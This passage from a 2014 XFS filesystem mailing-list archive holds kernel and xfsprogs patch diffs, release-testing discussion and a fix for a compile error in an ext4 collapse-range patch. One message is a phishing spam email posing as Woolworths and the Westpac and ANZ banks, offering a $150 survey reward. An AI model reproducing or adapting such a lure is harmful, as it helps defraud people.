> + if (rval) > return rval; > > - memset(&args, 0, sizeof(xfs_da_args_t)); > - args.name = name->name; > - args.namelen = name->len; > - args.filetype = name->type; > - args.hashval = dp->i_mount->m_dirnameops->hashname(name); > - args.inumber = inum; > - args.dp = dp; > - args.firstblock = first; > - args.flist = flist; > - args.total = total; > - args.whichfork = XFS_DATA_FORK; > - args.trans = tp; > - > - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > - rval = xfs_dir2_sf_replace(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_block_replace(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_leaf_replace(&args); > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > + if (!args) > + return ENOMEM; > + > + args->name = name->name; > + args->namelen = name->len; > + args->filetype = name->type; > + args->hashval = dp->i_mount->m_dirnameops->hashname(name); > + args->inumber = inum; > + args->dp = dp; > + args->firstblock = first; > + args->flist = flist; > + args->total = total; > + args->whichfork = XFS_DATA_FORK; > + args->trans = tp; > + > + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { > + rval = xfs_dir2_sf_replace(args); > + goto out_free; > + } > + > + rval = xfs_dir2_isblock(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) { > + rval = xfs_dir2_block_replace(args); > + goto out_free; > + } > + > + rval = xfs_dir2_isleaf(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) > + rval = xfs_dir2_leaf_replace(args); > else > - rval = xfs_dir2_node_replace(&args); > + rval = xfs_dir2_node_replace(args); > +out_free: > + kmem_free(args); > return rval; > } > > @@ -434,7 +505,7 @@ xfs_dir_canenter( > struct xfs_name *name, /* name of entry to add */ > uint resblks) > { > - xfs_da_args_t args; > + struct xfs_da_args *args; > int rval; > int v; /* type-checking value */ > > @@ -443,29 +514,42 @@ xfs_dir_canenter( > > ASSERT(S_ISDIR(dp->i_d.di_mode)); > > - memset(&args, 0, sizeof(xfs_da_args_t)); > - args.name = name->name; > - args.namelen = name->len; > - args.filetype = name->type; > - args.hashval = dp->i_mount->m_dirnameops->hashname(name); > - args.dp = dp; > - args.whichfork = XFS_DATA_FORK; > - args.trans = tp; > - args.op_flags = XFS_DA_OP_JUSTCHECK | XFS_DA_OP_ADDNAME | > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > + if (!args) > + return ENOMEM; > + > + args->name = name->name; > + args->namelen = name->len; > + args->filetype = name->type; > + args->hashval = dp->i_mount->m_dirnameops->hashname(name); > + args->dp = dp; > + args->whichfork = XFS_DATA_FORK; > + args->trans = tp; > + args->op_flags = XFS_DA_OP_JUSTCHECK | XFS_DA_OP_ADDNAME | > XFS_DA_OP_OKNOENT; > > - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > - rval = xfs_dir2_sf_addname(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_block_addname(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_leaf_addname(&args); > + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { > + rval = xfs_dir2_sf_addname(args); > + goto out_free; > + } > + > + rval = xfs_dir2_isblock(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) { > + rval = xfs_dir2_block_addname(args); > + goto out_free; > + } > + > + rval = xfs_dir2_isleaf(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) > + rval = xfs_dir2_leaf_addname(args); > else > - rval = xfs_dir2_node_addname(&args); > + rval = xfs_dir2_node_addname(args); > +out_free: > + kmem_free(args); > return rval; > } > > From rjohnston@sgi.com Wed Feb 19 13:18:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A46FA7FCA for ; Wed, 19 Feb 2014 13:18:30 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4D00AC009; Wed, 19 Feb 2014 11:18:26 -0800 (PST) Received: from [128.162.233.55] (128.162.233.55) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Wed, 19 Feb 2014 13:18:26 -0600 Message-ID: <53050391.7020701@sgi.com> Date: Wed, 19 Feb 2014 13:18:41 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= , Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> In-Reply-To: <52E6A9A2.1010905@sgi.com> Content-Type: text/plain; charset="UTF-8"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [128.162.233.55] Hey Folks, Has anyone been testing this branch, any feedback? There are still a couple of platforms I would like to test before releasing this branch. Unless there are objections or problems I plan to have all my testing done by Wednesday February 26. Thanks --Rich On 01/27/2014 12:46 PM, Rich Johnston wrote: > Arkadiusz, > > Thanks for compiling the list. > > The for-3.1.12 Branch created from "a547280... 3.1.11 release" > > If there are others you want committed, please let me know. > > Thanks > --Rich > > > The following have been committed from the candidate list > provided by Arkadiusz: > > > 40c65a7... xfs_metadump: Make -F (force) optional > ec3a1f1... xfs_repair: suggest reboot after dangerous repair > 8660952... xfsprogs: suggest "-d" option for repair of RO mount > 5a8206c... xfs_repair: correct docs for "-t" units > 0d5c444... xfs_fsr: fix SWAPEXT failures under selinux > f3d3dae... libxfs: fix root inode handling inconsistencies > cf507b6... xfsprogs: remove xfs_check references from fsck.xfs script & > manpage > 6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() > ecde3f9... xfs_repair: test for bad level in dir2 node > d299df7... xfs_repair: avoid segfault if reporting progress early in repair > e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: > Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 > 5e1c7ac... xfsprogs: handle symlinks etc in fs_table_initialise_mounts() > aba6204... xfsprogs: fix return value of verify_set_primary_sb() > a2ea195... xfsprogs: fix potential memory leak in verify_set_primary_sb() > 3e53939... xfsprogs: fix potential memory leak in repare/sb.c > 820b8c2... xfsprogs: avoid array overflow in pf_batch_read() > 2a1dcdb... xfs_repair: zero out unused parts of superblocks > 982508b... xfsprogs: fix inode crash in xfs_repair > b8890d7... xfsprogs: fix unint var in repair phase6 > 7d710b9... xfsprogs: fix agcnts leak in xfs_repair's scan_ags > 291c159... xfsprogs:free bp in xlog_find_tail() error path > 40b9d95... xfsprogs: free bp in xlog_find_zeroed() error path > a9b4757... xfsprogs: fix buffer leak in xlog_print_find_oldest > 32aae5b... xfsprogs: avoid double-free in xfs_attr_node_addname > 243cf82... mkfs.xfs: fix protofile name create block reservation > b31a23d... xfs_metadump: manpage fix regarding frozen fs > f8b80a3... xfs_fsr: file reads should be O_DIRECT > > The following commits were not applicable. > e7c05095, e6efb967 6aa3d87b > > > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From ble34234gg@linga.com Wed Feb 19 14:55:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 13FE77FF7 for ; Wed, 19 Feb 2014 14:55:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C0DF3304097 for ; Wed, 19 Feb 2014 12:55:44 -0800 (PST) X-ASG-Debug-ID: 1392843339-04bdf00fc9197a60001-NocioJ Received: from smtp43.singnet.com.sg (smtp43.singnet.com.sg [165.21.103.151]) by cuda.sgi.com with ESMTP id Yi6xYIqVrDIapHh1 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 19 Feb 2014 12:55:40 -0800 (PST) X-Barracuda-Envelope-From: ble34234gg@linga.com X-Barracuda-Apparent-Source-IP: 165.21.103.151 Received: from [172.16.183.120] ([116.12.183.94]) by smtp43.singnet.com.sg (8.13.8/8.14.1) with ESMTP id s1JKsaO9008980; Thu, 20 Feb 2014 04:54:49 +0800 Message-Id: <201402192054.s1JKsaO9008980@smtp43.singnet.com.sg> Content-Type: multipart/alternative; boundary="===============0447956198==" MIME-Version: 1.0 Subject: Rewards for your fidelity To: Recipients X-ASG-Orig-Subj: Rewards for your fidelity From: "Woolworths " Date: Thu, 20 Feb 2014 04:46:24 +0800 X-PMX-Version: 5.5.2.363555, Antispam-Engine: 2.6.1.350677, Antispam-Data: 2013.8.24.225128 X-PMX-AS: AS-Check X-PMX-Score: Probability=9% X-Barracuda-Connect: smtp43.singnet.com.sg[165.21.103.151] X-Barracuda-Start-Time: 1392843340 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145292 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address You will not see this in a MIME-aware mail reader. --===============0447956198== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Westpac and ANZ Survey Department in conjunction with Woolworths selecte= d you to take part in our quick survey. = To earn your $150 reward, please click here. = = =20 --===============0447956198== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body

Westpac and ANZ Survey Department in conjunction with Woolworths  s= elected you to take part in our quick survey.

To earn your $150 reward, please click here.

 

 

--===============0447956198==-- From sandeen@redhat.com Wed Feb 19 15:10:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D48CF7FA6 for ; Wed, 19 Feb 2014 15:10:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C48228F807A for ; Wed, 19 Feb 2014 13:10:20 -0800 (PST) X-ASG-Debug-ID: 1392844216-04cb6c6de05c9aa0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id K9rWGrqiyJ3x61G7 for ; Wed, 19 Feb 2014 13:10:16 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1JLAFwB025224 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 19 Feb 2014 16:10:15 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1JLAEOx016232 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Wed, 19 Feb 2014 16:10:14 -0500 Message-ID: <53051DB5.4080403@redhat.com> Date: Wed, 19 Feb 2014 15:10:13 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs_repair: fix sibling pointer tests in verify_dir2_path() X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_repair: fix sibling pointer tests in verify_dir2_path() Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392844216 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 RH QE reported that if we create a 1G filesystem with default options, mount it, and create inodes until full, then run repair, repair reports corruption in verify_dir2_path() with: > bad back pointer in block 8390324 for directory inode 131 The commit 88b32f0 xfs: add CRCs to dir2/da node blocks had a small error which regressed this; although we switch to the "newnode," to check sibling pointers, we re-populate the node hdr with the old "node" data. This causes the backpointer test to be testing the wrong node's values. Fixing this bug fixes the testcase. Signed-off-by: Eric Sandeen --- diff --git a/repair/dir2.c b/repair/dir2.c index 3aabcaa..06dc000 100644 --- a/repair/dir2.c +++ b/repair/dir2.c @@ -552,7 +552,7 @@ _("can't read block %u for directory inode %" PRIu64 "\n"), newnode = bp->b_addr; btree = xfs_da3_node_tree_p(newnode); - xfs_da3_node_hdr_from_disk(&nodehdr, node); + xfs_da3_node_hdr_from_disk(&nodehdr, newnode); /* * verify magic number and back pointer, sanity-check * entry count, verify level From david@fromorbit.com Wed Feb 19 15:50:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 932607F83 for ; Wed, 19 Feb 2014 15:50:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8121B30408D for ; Wed, 19 Feb 2014 13:50:32 -0800 (PST) X-ASG-Debug-ID: 1392846630-04cb6c6de05ce430001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ogO3yqM74BGRGA5T for ; Wed, 19 Feb 2014 13:50:30 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIHACImBVN5LJYe/2dsb2JhbABZgwa7RYVRgRwXdIIlAQEEATocIwULCAMOCgklDwUlAyETh30HzjsXFo5OB4MkgRQEmC+SJYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 20 Feb 2014 08:20:29 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WGF29-0004EJ-Un; Thu, 20 Feb 2014 08:50:26 +1100 Date: Thu, 20 Feb 2014 08:50:25 +1100 From: Dave Chinner To: Rich Johnston Cc: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= , xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 Message-ID: <20140219215025.GF4916@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <53050391.7020701@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53050391.7020701@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392846630 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145293 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 01:18:41PM -0600, Rich Johnston wrote: > Hey Folks, > > Has anyone been testing this branch, any feedback? There are still a > couple of platforms I would like to test before releasing this > branch. No, I haven't looked at it for weeks. Too busy working on 3.2 and other stuff at the moment. > Unless there are objections or problems I plan to have all my > testing done by Wednesday February 26. Can you outline the testing you have done? Cheers, Dave. -- Dave Chinner david@fromorbit.com From dongsu.park@profitbricks.com Wed Feb 19 15:58:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2AFD47FCA for ; Wed, 19 Feb 2014 15:58:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 152BF8F8074 for ; Wed, 19 Feb 2014 13:58:15 -0800 (PST) X-ASG-Debug-ID: 1392847094-04cb6c6de25ceec0001-NocioJ Received: from mail-ie0-f180.google.com (mail-ie0-f180.google.com [209.85.223.180]) by cuda.sgi.com with ESMTP id K24XqhYDDSDxyzyq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 19 Feb 2014 13:58:15 -0800 (PST) X-Barracuda-Envelope-From: dongsu.park@profitbricks.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.180 Received: by mail-ie0-f180.google.com with SMTP id ar20so707921iec.39 for ; Wed, 19 Feb 2014 13:58:14 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=D4+QTwU4YiDJyMBGhsiS4TiyVpphhQkUgE3e+HdKX+Q=; b=hs+ZcfBUc2M9MYCbmVoVjNe/bctRiW4KqahwHXrGQuBxWkd4uXWmzjqmTsxXy6/810 eB4+g6e2opcvMkNxBjP6BbwgOhv22OejjcHj+cS1LFSv2uxwnoaqsq6fOoA8P+gK4en4 ZaxxCs3PhqRMhIea0qrX15KeNGQffdD37xVqLYFvxYqR34yFmKGdob+gzEJqi2rDKQOL iK8BaJ7s9wh8OXxJEYVKeaCV9rDqkjj0z1svO4JJt5LaN2eNhPFye1sd+Bj0LljBreS0 Gi/Qwf89HaneM3O7VUky+Q/YrS/rjFqwGuQfCbckhreuYFNZ8i2YzgnXulYevIDAuDx1 1JIg== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQlEhpGDPd5wsd5EBLGIKCvCmG9n2IArC6ntm0WBuLHbnNcpudh7sddr7xJzci5TuqwpTtse X-Received: by 10.50.137.100 with SMTP id qh4mr3720372igb.4.1392847094342; Wed, 19 Feb 2014 13:58:14 -0800 (PST) Received: from gmail.com (173.115.171.108.client.static.strong-in110.as13926.net. [108.171.115.173]) by mx.google.com with ESMTPSA id rj10sm53439402igc.8.2014.02.19.13.58.08 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 19 Feb 2014 13:58:12 -0800 (PST) Date: Wed, 19 Feb 2014 22:58:05 +0100 X-Barracuda-Apparent-Source-IP: 108.171.115.173 From: Dongsu Park To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140219215805.GA1714@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v5 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate References: <1392741489-20097-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <1392741489-20097-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-ie0-f180.google.com[209.85.223.180] X-Barracuda-Start-Time: 1392847095 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145293 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Namjae, see below: On 19.02.2014 01:38, Namjae Jeon wrote: > This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for Ext4. ...... > + /* > + * Don't start shifting extents until we make sure the hole is big > + * enough to accomodate the shift. > + */ > + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); > + depth = path->p_depth; > + extent = path[depth].p_ext; > + ex_start = extent->ee_block; > + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); > + ext4_ext_drop_refs(path); > + kfree(path); > + > + if ((start == ex_start && shift > ex_start) || > + (shift > start - ex_end)) { This line causes a compile error. So the fix would be like that: - (shift > start - ex_end)) { + (shift > start - ex_end)) > + return -EINVAL; > + > + /* Its safe to start updating extents */ ...... Apart from that, the whole patchset seems to work without error, both on xfs and on ext4. Of course I had to remove Lukas' patches before testing collapse-range. So it would be excellent if two patch series could get somehow merged. Tested-by: Dongsu Park Regards, Dongsu From linkinjeon@gmail.com Wed Feb 19 16:56:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8FDCB7FF7 for ; Wed, 19 Feb 2014 16:56:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 075CEAC003 for ; Wed, 19 Feb 2014 14:56:25 -0800 (PST) X-ASG-Debug-ID: 1392850581-04cbb00c285cd080001-NocioJ Received: from mail-qa0-f50.google.com (mail-qa0-f50.google.com [209.85.216.50]) by cuda.sgi.com with ESMTP id wJeQdQOqdGA670lg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 19 Feb 2014 14:56:21 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.50] Received: by mail-qa0-f50.google.com with SMTP id cm18so1683492qab.37 for ; Wed, 19 Feb 2014 14:56:21 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=UiMGX4/dT9xp/H16Cu2+rnu2Gn/nA32XO7TAI7LDukc=; b=Kz8tyzmF5vw9InGqASryLq8WK2PjKTRBsWFiPCZ9+Hh8pMxiIbkTHPwxbHUmC+/x6C FdPEVvRAJqwGTZVTyU33NLYj8SdeUV+Im+3VMATGd78htRWm2R9pRUOliYj/aeBxoCzS mcLgUF0v7Yg5lXS6uBSKVrhV40f5WHMVd9anRk5qWHELU7Q1rEONytCCfnRap4qaz6ds cxzXwKbALMb+nZPJAVAwpbTPQ3aF4mJrSTx1XiesoogzBUw/HDo/b2NiyGC5caL9zBlq VHkbxOrjzhDlxuildoHvLv65LkWE+huESK2NUnL4HBOSuNAMiFAgLwjrvlahfFDkkZb5 Y8Pg== MIME-Version: 1.0 X-Received: by 10.140.31.75 with SMTP id e69mr5537952qge.76.1392850581245; Wed, 19 Feb 2014 14:56:21 -0800 (PST) Received: by 10.96.109.102 with HTTP; Wed, 19 Feb 2014 14:56:21 -0800 (PST) In-Reply-To: <20140219215805.GA1714@gmail.com> References: <1392741489-20097-1-git-send-email-linkinjeon@gmail.com> <20140219215805.GA1714@gmail.com> Date: Thu, 20 Feb 2014 07:56:21 +0900 Message-ID: Subject: Re: [PATCH v5 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH v5 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate To: Dongsu Park Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qa0-f50.google.com[209.85.216.50] X-Barracuda-Start-Time: 1392850581 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145295 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-20 6:58 GMT+09:00, Dongsu Park : > Hi Namjae, > see below: Hi Dongsu. > > On 19.02.2014 01:38, Namjae Jeon wrote: >> This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for Ext4. > ...... >> + /* >> + * Don't start shifting extents until we make sure the hole is big >> + * enough to accomodate the shift. >> + */ >> + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); >> + depth = path->p_depth; >> + extent = path[depth].p_ext; >> + ex_start = extent->ee_block; >> + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); >> + ext4_ext_drop_refs(path); >> + kfree(path); >> + >> + if ((start == ex_start && shift > ex_start) || >> + (shift > start - ex_end)) { > > This line causes a compile error. So the fix would be like that: Oops.. I made a stupid mistake when creating the patch at dawn.. Thanks for your pointing. > > - (shift > start - ex_end)) { > + (shift > start - ex_end)) > >> + return -EINVAL; >> + >> + /* Its safe to start updating extents */ Yes, Right. > ...... > > Apart from that, the whole patchset seems to work without error, > both on xfs and on ext4. > Of course I had to remove Lukas' patches before testing collapse-range. > So it would be excellent if two patch series could get somehow merged. > > Tested-by: Dongsu Park Thank you so much for your testing! > > Regards, > Dongsu > From david@fromorbit.com Wed Feb 19 18:14:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B9C747FB5 for ; Wed, 19 Feb 2014 18:14:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com 